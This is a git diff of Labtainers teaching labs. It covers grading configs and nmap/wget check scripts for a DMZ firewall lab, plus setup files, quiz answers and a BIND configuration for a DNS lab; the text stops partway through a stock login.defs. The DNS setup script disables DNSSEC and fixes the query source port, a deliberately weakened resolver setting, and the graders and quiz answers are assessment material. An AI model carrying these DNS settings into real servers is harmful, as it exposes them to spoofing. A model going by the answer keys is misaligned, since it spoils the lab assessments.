b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/goals.config index dd73d014c..bb911119b 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/goals.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/goals.config @@ -7,19 +7,21 @@ # # Group nmap outputs into iptables log timestamp groups # determined in results.config. -#GROUP: nmap results from remote workstation -remote_nmap_443 = time_during : _remote_nmap_443 : _iplog -remote_nmap_sql = time_during : _remote_nmap_sql : _iplog +#_iplog = time_during : _iplog_outer : _iplog_inner +_remote_nmap_443 = time_during : __remote_nmap_443 : _iplog +_remote_nmap_sql = time_during : __remote_nmap_sql : _iplog +_remote_wget_ws2 = time_during : __remote_wget_ws2 : _iplog -#GROUP: nmap results from local workstation -local_nmap_443 = time_during : _local_nmap_443 : _iplog -local_nmap_sql = time_during : _local_nmap_sql : _iplog +_local_nmap_443 = time_during : __local_nmap_443 : _iplog +_local_nmap_sql = time_during : __local_nmap_sql : _iplog -#DOC: Reach the internet from local workstation? -reach_internet = time_during : _reach_internet : _iplog +_reach_internet = time_during : __reach_internet : _iplog # # Note boolean evaluations are done per-timestamp group. Which we have organized around # the running of iptables. #DOC: Did nmap from the local and remote workstations indicate a correct iptables setting? -remote_correct = boolean : ((remote_nmap_443 and_not remote_nmap_sql) and local_nmap_443 and local_nmap_sql and reach_internet) +dmz_correct = boolean : ((_remote_nmap_443 and_not _remote_nmap_sql and _remote_wget_ws2) and _local_nmap_443 and _local_nmap_sql and _reach_internet) +#GROUP: Quantity of configuration changes made using iptables (directly or via a script) +inner_iptables = count : _inner_iptables +outer_iptables = count : _outer_iptables diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/results.config index a5cd47a89..1decef880 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/results.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/results.config @@ -6,11 +6,30 @@ # # group the iptables log into timestamp ranges delimited by use of iptables command # (as recorded by inotify) -_iplog = outer_gw:/var/log/ulog/syslogemu.log:iptables : CONTAINS : IPTABLES DROPPED +_iplog = outer_gw:iptables;inner_gs:iptables : TIME_DELIM # # Local and remote nmap results, reflecting HTTPS and MYSQL ports -_remote_nmap_443 = remote_ws:nmap.stdout : CONTAINS : open https -_remote_nmap_sql = remote_ws:nmap.stdout : CONTAINS : open mysql -_local_nmap_443 = ws1:nmap.stdout : CONTAINS : open https -_local_nmap_sql = ws1:nmap.stdout : CONTAINS : open mysql -_reach_internet = ws1:wget.stdout : FILE_REGEX : www.google.com .*index.html.*saved +__remote_nmap_443 = remote_ws:nmap.stdout : CONTAINS : open https +__remote_nmap_sql = remote_ws:nmap.stdout : CONTAINS : open mysql +__remote_wget_ws2 = remote_ws:wget.stdout : CONTAINS : Connecting to 198.18.1.194:80... failed: +__local_nmap_443 = ws1:nmap.stdout : CONTAINS : open https +__local_nmap_sql = ws1:nmap.stdout : CONTAINS : open mysql +__reach_internet = ws1:wget.stdout : FILE_REGEX : www.google.com .*index.html.*saved + +# used to count quantity of iptables invocations. LINE_COUNT not used, just a way of getting result files to count +_inner_iptables = inner_gw:iptables.stdout : LINE_COUNT +_outer_iptables = outer_gw:iptables.stdout : LINE_COUNT + +#CHECK_TRUE: Remote workstation unable to reach www.example.com using HTTPS +cw_remote_nmap_443 = remote_ws:prestop.stdout : CONTAINS : open https +#CHECK_FALSE: Remote workstation is able to reach www.example.com using MYSQL! This is a risk. +cw_remote_nmap_sql = remote_ws:prestop.stdout : CONTAINS : open mysql +#CHECK_FALSE: Remote workstation is able to reach a web server on ws2, that seems bad! +cw_remote_ws2 = remote_ws:prestop.stdout : FILE_REGEX : .*index.html.*saved +#CHECK_TRUE: Local user not able to reach local web server with HTTPS +cw_local_nmap_443 = ws1:prestop.stdout : CONTAINS : open https +#CHECK_TRUE: Local user not able to reach local web server with MYSQL +cw_local_nmap_sql = ws1:prestop.stdout : CONTAINS : open mysql +#CHECK_TRUE: Local user not able to reach the Internet! +cw_reach_internet = ws1:prestop.stdout : FILE_REGEX : www.google.com .*index.html.*saved +#CHECK_FALSE: Remote workstation has HTTP access to www.example.com, limit that to HTTPS! diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_bin/fixlocal.sh index daaaba927..f3de70edc 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_bin/fixlocal.sh @@ -7,9 +7,5 @@ # not not permit nopassword, then use: # echo $1 | sudo -S the-command # -lan1=$(ifconfig | grep -B1 "inet addr:198.18.0.1" | awk '$1!="inet" && $1!="--" {print $1}') -wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') -sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE -sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT sudo systemctl enable dnsmasq sudo systemctl start dnsmasq diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/etc/rc.local index 035c0fd03..1e1703902 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/etc/rc.local @@ -1,3 +1,7 @@ #!/bin/bash +lan1=$(ifconfig | grep -B1 "inet addr:198.18.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +/sbin/iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +/sbin/iptables --append FORWARD --in-interface $lan1 -j ACCEPT route add -net 198.18.1.0 netmask 255.255.255.0 gw 198.18.0.2 route add -net 203.0.113.0 netmask 255.255.255.0 gw 198.18.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/sbin/faux_init deleted file mode 100755 index 36cc884b4..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/sbin/faux_init +++ /dev/null @@ -1,17 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start -/etc/init.d/dnsmasq restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/sbin/faux_init deleted file mode 100755 index 2a99fffe5..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/sbin/faux_init +++ /dev/null @@ -1,19 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start -/etc/init.d/mynotify.sh start -/etc/init.d/ulogd2 start - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/sbin/faux_init deleted file mode 100755 index 21cbc5490..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/sbin/faux_init +++ /dev/null @@ -1,18 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/prestop new file mode 100755 index 000000000..b88366fad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/prestop @@ -0,0 +1,4 @@ +#!/bin/bash +trap "echo Timed out; exit" SIGTERM +nmap -n www.example.com +wget 198.18.1.194 -T 3 -t 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/treataslocal index 733811f19..252d69627 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/treataslocal +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/treataslocal @@ -1 +1,2 @@ nmap +wget diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/sbin/faux_init deleted file mode 100755 index f1fc72d95..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/sbin/faux_init +++ /dev/null @@ -1,19 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - -/etc/init.d/httpserver.sh start - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/prestop new file mode 100755 index 000000000..5eec5c61b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/prestop @@ -0,0 +1,4 @@ +#!/bin/bash +trap "echo Timed out; exit" SIGTERM +nmap -n www.example.com +wget www.google.com -T 2 -t 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/sbin/faux_init deleted file mode 100755 index 73b18865f..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/sbin/faux_init +++ /dev/null @@ -1,19 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_bin/fixlocal.sh index 6b022e130..80ad9ea2b 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_bin/fixlocal.sh @@ -7,3 +7,5 @@ # not not permit nopassword, then use: # echo $1 | sudo -S the-command # +echo $1 | sudo -S systemctl enable httpserver.service +echo $1 | sudo -S systemctl start httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/etc/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/etc/systemd/system/httpserver.service new file mode 100644 index 000000000..d842448cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/etc/systemd/system/httpserver.service @@ -0,0 +1,12 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +WorkingDirectory=/var/www/html +ExecStart=/usr/bin/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/sbin/faux_init deleted file mode 100755 index c65e59f14..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/sbin/faux_init +++ /dev/null @@ -1,19 +0,0 @@ - -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/usr/bin/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/usr/bin/MyHTTPServer.py new file mode 100755 index 000000000..affece9f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/usr/bin/MyHTTPServer.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/var/www/html/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/var/www/html/index.html new file mode 100644 index 000000000..d60df2347 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/var/www/html/index.html @@ -0,0 +1,7 @@ + +Sample index.html for MyHTTPServer + +

Watch this space!

+
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/sbin/faux_init deleted file mode 100755 index 73b18865f..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/sbin/faux_init +++ /dev/null @@ -1,19 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/about.txt new file mode 100644 index 000000000..404c08070 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/about.txt @@ -0,0 +1 @@ +Introduces the Internet Domain Naming Service (DNS) and its protocol. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/keywords.txt new file mode 100644 index 000000000..cbd3c6387 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/keywords.txt @@ -0,0 +1,2 @@ +dns +wireshark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/parameter.config new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/parameter.config @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/post.quiz b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/post.quiz new file mode 100644 index 000000000..d6c1f05b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/post.quiz @@ -0,0 +1,2 @@ +first, TrueFalse, "The IP address of the DNS to be used by the computer is stored in the /etc/bind directory.",F, "Correct, the DNS IP address is in the /etc/resolv.conf file as the nameserver directive.", "That is not correct. The DNS IP address is in the /etc/resolv.conf file as the nameserver directive." +second, TrueFalse, "The DNS must contain a mapping of a computer's name to its IP address before you can ping or otherwise reference that computer.", F, "Correct, you can always use the computer's IP address, assuming you know it.", "That is not correct. The DNS is only required if you wish to use computer names such as 'ws1'. You can use the computer IP address to ping or otherwise reference it without knowing its name." diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/start.config new file mode 100644 index 000000000..a89e8bca1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/config/start.config @@ -0,0 +1,61 @@ + GLOBAL_SETTINGS + LAB_MASTER_SEED dns_mike_master_seed +NETWORK LAN + MASK 192.168.0.0/24 + GATEWAY 192.168.0.1 + TAP YES +NETWORK TAP_LAN + MASK 10.0.0.0/24 + GATEWAY 10.0.0.101 +NETWORK WAN + MASK 192.168.10.0/24 + GATEWAY 192.168.10.101 +CONTAINER dns + USER admin + X11 NO + TERMINAL_GROUP LOCAL + LAN 192.168.0.3 +CONTAINER gw + USER admin + X11 NO + TERMINAL_GROUP LOCAL + LAN 192.168.0.101 + WAN 192.168.10.3 + LAB_GATEWAY 192.168.10.2 + NO_GW YES +CONTAINER ws1 + USER ubuntu + X11 NO + TERMINAL_GROUP ws + LAN 192.168.0.11 + LAB_GATEWAY 192.168.0.101 + NO_GW YES +CONTAINER ws2 + USER ubuntu + X11 NO + TERMINAL_GROUP ws + LAN 192.168.0.12 + LAB_GATEWAY 192.168.0.101 + NO_GW YES +CONTAINER tap + USER ubuntu + X11 NO + TERMINALS 0 + TAP YES +CONTAINER net-monitor + USER ubuntu + X11 YES + TAP_LAN 10.0.0.2 +CONTAINER ws3 + USER ubuntu + X11 NO + TERMINAL_GROUP ws + LAN 192.168.0.13 + LAB_GATEWAY 192.168.0.101 + NO_GW YES + NO_RESOLVE YES +CONTAINER isp + USER ubuntu + X11 NO + TERMINALS 0 + WAN 192.168.10.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_bin/fixlocal.sh new file mode 100755 index 000000000..1f8904e87 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_bin/fixlocal.sh @@ -0,0 +1,22 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo apt-get purge -y dnsmasq +sudo sed -i '/directory/a dump-file "/var/named/dump.db";\nforwarders {\n192.168.0.101;\n};\nquery-source port 33333;\nallow-query {any;};' /etc/bind/named.conf.options +sudo sed -i 's/dnssec-validation auto;/dnssec-enable no;\ndnssec-validation no;/' /etc/bind/named.conf.options +# define example.com +echo "include \"/etc/bind/example.conf\";" | sudo tee -a /etc/bind/named.conf.local +sudo chown bind:bind /var/bind/* + +echo "check alive" >> /tmp/fixlocal.output +~/.local/bin/alive.sh 192.0.0.101 +echo "back and alive" >> /tmp/fixlocal.output +date >> /tmp/fixlocal.output +sleep 3 +sudo /etc/init.d/bind9 restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/bind/example.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/bind/example.conf new file mode 100644 index 000000000..4319b5ba8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/bind/example.conf @@ -0,0 +1,9 @@ +zone "example.com" { + type master; + file "/var/named/example.com.zone"; +}; +zone "0.168.192.in-addr.arpa" { + type master; + file "/var/named/192.168.0.0"; +}; + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If 